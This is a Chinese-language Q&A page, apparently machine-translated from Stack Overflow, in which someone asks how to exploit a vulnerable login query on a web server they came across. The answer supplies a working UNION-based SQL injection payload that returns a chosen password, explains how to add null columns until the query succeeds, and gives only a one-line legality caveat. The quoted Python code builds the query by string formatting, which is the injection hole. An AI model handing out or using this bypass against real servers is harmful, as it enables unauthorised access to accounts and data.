如何利用我在此Web服务器上找到的这个易受攻击的SQL语句

问题描述 投票:0回答:1

我刚刚遇到一个非常简单但相当复杂的SQL查询,它在验证MariaDB中的用户名时执行。该声明有两个逃避字符,我似乎无法解决这个问题。我一直在尝试不同的有效载荷,但它们似乎都不起作用。在无效语句上,它返回一个回调调用错误,通知错误。

我已经尝试过1'或'1'='1和0版本

python
    if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:

我想找到一种绕过这个验证声明并授予我访问权限的方法。

sql webserver mariadb sql-injection penetration-testing
1个回答
0
投票

请记住,您不拥有/拥有所有者同意的网站上的此类做法是非法的。

尝试使用和Union,输入:

' and 1=2 UNION SELECT 'anypass' --

如果我正确理解你的问题,会产生以下查询:

SELECT password FROM admins WHERE username='' and 1=2 UNION SELECT 'anypass' --

Union运算符需要相同数量的列,如果出现该类型的错误,请尝试以下操作:

' and 1=2 UNION SELECT 'anypass', null --

添加空列,直到不再出现错误。

然后你只需要在密码字段中输入'anypass'。

© www.soinside.com 2019 - 2024. All rights reserved.